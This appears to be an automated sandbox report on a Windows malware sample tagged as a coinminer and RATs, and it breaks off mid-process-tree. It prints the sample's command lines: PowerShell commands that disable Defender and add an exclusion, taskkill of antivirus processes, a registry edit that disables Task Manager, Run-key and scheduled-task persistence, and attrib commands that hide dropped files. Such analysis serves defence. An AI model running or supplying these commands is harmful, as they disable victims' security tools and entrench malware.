Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
2524	reg.exe
3476	reg.exe
6048	reg.exe
2496	reg.exe
4272	reg.exe
2196	reg.exe
2104	reg.exe
5784	reg.exe
5888	reg.exe
2428	reg.exe
5236	reg.exe
5708	reg.exe
2520	reg.exe
804	reg.exe
252	reg.exe
5624	reg.exe
5496	reg.exe
1340	reg.exe
1276	reg.exe
560	reg.exe
4220	reg.exe
1116	reg.exe
944	reg.exe
4140	reg.exe
4520	reg.exe
5648	reg.exe
3344	reg.exe
1192	reg.exe
5648	reg.exe
1408	reg.exe
5108	reg.exe
4468	reg.exe
5584	reg.exe
4924	reg.exe
5524	reg.exe
1316	reg.exe
3056	reg.exe
4152	reg.exe
5432	reg.exe
1768	reg.exe
3136	reg.exe
3912	reg.exe
1944	reg.exe
916	reg.exe
5976	reg.exe
4480	reg.exe
4696	reg.exe
932	reg.exe
5140	reg.exe
1652	reg.exe
3524	reg.exe
3596	reg.exe
5672	reg.exe
5880	reg.exe
3040	reg.exe
4652	reg.exe
2468	reg.exe
4576	reg.exe
4708	reg.exe
2116	reg.exe
4100	reg.exe
3280	reg.exe
4864	reg.exe
5428	reg.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4252	schtasks.exe
2684	schtasks.exe
6016	schtasks.exe
3404	schtasks.exe
2096	schtasks.exe
3816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
5956	powershell.exe
5956	powershell.exe
5956	powershell.exe
1264	wmic.exe
1264	wmic.exe
1264	wmic.exe
1264	wmic.exe
5488	wmic.exe
5488	wmic.exe
5488	wmic.exe
5488	wmic.exe
604	wmic.exe
604	wmic.exe
604	wmic.exe
604	wmic.exe
1404	powershell.exe
1404	powershell.exe
3312	wmic.exe
3312	wmic.exe
3312	wmic.exe
3312	wmic.exe
1404	powershell.exe
2488	powershell.exe
2488	powershell.exe
2488	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
5248	powershell.exe
5248	powershell.exe
5556	powershell.exe
5556	powershell.exe
5556	powershell.exe
5248	powershell.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5164	wmic.exe
5164	wmic.exe
5164	wmic.exe
5164	wmic.exe
5828	powershell.exe
5828	powershell.exe
2856	wmic.exe
2856	wmic.exe
2856	wmic.exe
2856	wmic.exe
5828	powershell.exe
2944	powershell.exe
2944	powershell.exe
2944	powershell.exe
3112	wmic.exe
3112	wmic.exe
3112	wmic.exe
3112	wmic.exe
5700	wmic.exe
5700	wmic.exe
5700	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Token: SeSecurityPrivilege	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Token: SeTakeOwnershipPrivilege	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Token: SeRestorePrivilege	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4644	taskkill.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	wmic.exe
Token: SeSecurityPrivilege	1264	wmic.exe
Token: SeTakeOwnershipPrivilege	1264	wmic.exe
Token: SeLoadDriverPrivilege	1264	wmic.exe
Token: SeSystemProfilePrivilege	1264	wmic.exe
Token: SeSystemtimePrivilege	1264	wmic.exe
Token: SeProfSingleProcessPrivilege	1264	wmic.exe
Token: SeIncBasePriorityPrivilege	1264	wmic.exe
Token: SeCreatePagefilePrivilege	1264	wmic.exe
Token: SeBackupPrivilege	1264	wmic.exe
Token: SeRestorePrivilege	1264	wmic.exe
Token: SeShutdownPrivilege	1264	wmic.exe
Token: SeDebugPrivilege	1264	wmic.exe
Token: SeSystemEnvironmentPrivilege	1264	wmic.exe
Token: SeRemoteShutdownPrivilege	1264	wmic.exe
Token: SeUndockPrivilege	1264	wmic.exe
Token: SeManageVolumePrivilege	1264	wmic.exe
Token: 33	1264	wmic.exe
Token: 34	1264	wmic.exe
Token: 35	1264	wmic.exe
Token: 36	1264	wmic.exe
Token: SeIncreaseQuotaPrivilege	1264	wmic.exe
Token: SeSecurityPrivilege	1264	wmic.exe
Token: SeTakeOwnershipPrivilege	1264	wmic.exe
Token: SeLoadDriverPrivilege	1264	wmic.exe
Token: SeSystemProfilePrivilege	1264	wmic.exe
Token: SeSystemtimePrivilege	1264	wmic.exe
Token: SeProfSingleProcessPrivilege	1264	wmic.exe
Token: SeIncBasePriorityPrivilege	1264	wmic.exe
Token: SeCreatePagefilePrivilege	1264	wmic.exe
Token: SeBackupPrivilege	1264	wmic.exe
Token: SeRestorePrivilege	1264	wmic.exe
Token: SeShutdownPrivilege	1264	wmic.exe
Token: SeDebugPrivilege	1264	wmic.exe
Token: SeSystemEnvironmentPrivilege	1264	wmic.exe
Token: SeRemoteShutdownPrivilege	1264	wmic.exe
Token: SeUndockPrivilege	1264	wmic.exe
Token: SeManageVolumePrivilege	1264	wmic.exe
Token: 33	1264	wmic.exe
Token: 34	1264	wmic.exe
Token: 35	1264	wmic.exe
Token: 36	1264	wmic.exe
Token: SeDebugPrivilege	5988	WmiPrvSE.exe
Token: SeDebugPrivilege	5792	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5488	wmic.exe
Token: SeSecurityPrivilege	5488	wmic.exe
Token: SeTakeOwnershipPrivilege	5488	wmic.exe
Token: SeLoadDriverPrivilege	5488	wmic.exe
Token: SeSystemProfilePrivilege	5488	wmic.exe
Token: SeSystemtimePrivilege	5488	wmic.exe
Token: SeProfSingleProcessPrivilege	5488	wmic.exe
Token: SeIncBasePriorityPrivilege	5488	wmic.exe
Token: SeCreatePagefilePrivilege	5488	wmic.exe
Token: SeBackupPrivilege	5488	wmic.exe
Token: SeRestorePrivilege	5488	wmic.exe
Token: SeShutdownPrivilege	5488	wmic.exe
Token: SeDebugPrivilege	5488	wmic.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 3216	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	89
PID 4324 wrote to memory of 3344	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	90
PID 4324 wrote to memory of 4288	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	91
PID 4324 wrote to memory of 4644	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	95
PID 4324 wrote to memory of 4668	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	96
PID 4324 wrote to memory of 5956	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	99
PID 4324 wrote to memory of 872	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	101
PID 4324 wrote to memory of 944	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	103
PID 4324 wrote to memory of 5108	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	105
PID 4324 wrote to memory of 1612	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	108
PID 4324 wrote to memory of 1264	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	110
PID 4324 wrote to memory of 2852	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	113
PID 4324 wrote to memory of 5140	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	115
PID 4324 wrote to memory of 5932	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	116
PID 4324 wrote to memory of 4100	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	119
PID 4324 wrote to memory of 3816	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	120
PID 4324 wrote to memory of 2104	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	123
PID 4324 wrote to memory of 5792	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	126
PID 4324 wrote to memory of 5988	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	128
PID 4324 wrote to memory of 4468	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	129
PID 4324 wrote to memory of 5488	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	132
PID 4324 wrote to memory of 916	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	180
PID 4324 wrote to memory of 4520	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	136
PID 4324 wrote to memory of 3564	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	230
PID 4324 wrote to memory of 604	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	145
PID 4324 wrote to memory of 1436	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	198
PID 4324 wrote to memory of 5960	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	149
PID 4324 wrote to memory of 1972	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	151
PID 4324 wrote to memory of 1404	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	254
PID 4324 wrote to memory of 3056	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	155
PID 4324 wrote to memory of 1240	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	157
PID 4324 wrote to memory of 4696	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	159
PID 4324 wrote to memory of 2460	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	161
PID 4324 wrote to memory of 3312	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	163
PID 4324 wrote to memory of 5920	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	212
PID 4324 wrote to memory of 1116	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	167
PID 4324 wrote to memory of 5708	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	171
PID 4324 wrote to memory of 2488	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	173
PID 4324 wrote to memory of 5928	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	475
PID 4324 wrote to memory of 4616	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	177
PID 4324 wrote to memory of 432	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	228
PID 4324 wrote to memory of 916	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	533
PID 4324 wrote to memory of 3064	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	183
PID 4324 wrote to memory of 5624	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	405
PID 4324 wrote to memory of 5880	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	187
PID 4324 wrote to memory of 1052	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	267
PID 4324 wrote to memory of 3280	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	192
PID 4324 wrote to memory of 2008	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	194
PID 4324 wrote to memory of 4500	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	197
PID 4324 wrote to memory of 1016	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	409
PID 4324 wrote to memory of 564	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	200
PID 4324 wrote to memory of 3716	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	204
PID 4324 wrote to memory of 1136	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	206
PID 4324 wrote to memory of 1096	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	470
PID 4324 wrote to memory of 4480	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	210
PID 4324 wrote to memory of 4712	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	471
PID 4324 wrote to memory of 4152	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	214
PID 4324 wrote to memory of 1232	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	215
PID 4324 wrote to memory of 4408	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	216
PID 4324 wrote to memory of 5584	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	443
PID 4500 wrote to memory of 4904	4500	powershell.exe	222
PID 4324 wrote to memory of 5556	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	484
PID 4324 wrote to memory of 5248	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	488
PID 4324 wrote to memory of 5496	4324	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe	229

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5108	attrib.exe
1612	attrib.exe
5468	attrib.exe
4372	attrib.exe
1652	attrib.exe
2980	attrib.exe
4380	attrib.exe
2692	attrib.exe
5932	attrib.exe
6028	attrib.exe
5432	attrib.exe
5872	attrib.exe
4304	attrib.exe
1420	attrib.exe
1712	attrib.exe
3904	attrib.exe
4136	attrib.exe
5556	attrib.exe
5496	attrib.exe
2280	attrib.exe
1040	attrib.exe
3476	attrib.exe
5352	attrib.exe
3216	attrib.exe
1972	attrib.exe
4632	attrib.exe
3320	attrib.exe
408	attrib.exe
5124	attrib.exe
2536	attrib.exe
4372	attrib.exe
1096	attrib.exe
5344	attrib.exe
1688	attrib.exe
5624	attrib.exe
1384	attrib.exe
932	attrib.exe
5540	attrib.exe
2400	attrib.exe
3232	attrib.exe
5960	attrib.exe
3064	attrib.exe
3432	attrib.exe
3408	attrib.exe
1628	attrib.exe
4896	attrib.exe
5576	attrib.exe
872	attrib.exe
3596	attrib.exe
1600	attrib.exe
3412	attrib.exe
5124	attrib.exe
5920	attrib.exe
716	attrib.exe
5352	attrib.exe
1188	attrib.exe
3564	attrib.exe
2468	attrib.exe
1004	attrib.exe
5160	attrib.exe
2852	attrib.exe
3716	attrib.exe
852	attrib.exe
4184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe"
1⤵
- Modifies WinLogon for persistence
- Looks for VirtualBox Guest Additions in registry
- Drops file in Drivers directory
- Looks for VMWare Tools registry key
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Modifies trusted root certificate store through registry
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Views/modifies file attributes
  PID:3216
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
  2⤵
  PID:3344
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  PID:4288
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5956
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:872
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
  2⤵
  PID:944
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
  2⤵
  - Views/modifies file attributes
  PID:5108
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:1612
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MicrosoftEdgeUpdate.exe
  2⤵
  - Views/modifies file attributes
  PID:2852
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
  2⤵
  PID:5140
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
  2⤵
  - Views/modifies file attributes
  PID:5932
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4100
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3816
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2104
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MpCmdRun.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5792
- C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 4324 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5988
- - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    3⤵
    - Modifies WinLogon for persistence
    - Drops file in Drivers directory
    - Creates a file in the Startup directory
    - Executes dropped EXE
    - Adds Run key to start application
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:5016
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      Views/modifies file attributes
      PID:716
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      4⤵
      Views/modifies file attributes
      PID:852
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5344
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
      4⤵
      PID:3680
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5164
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      4⤵
      Views/modifies file attributes
      PID:1688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
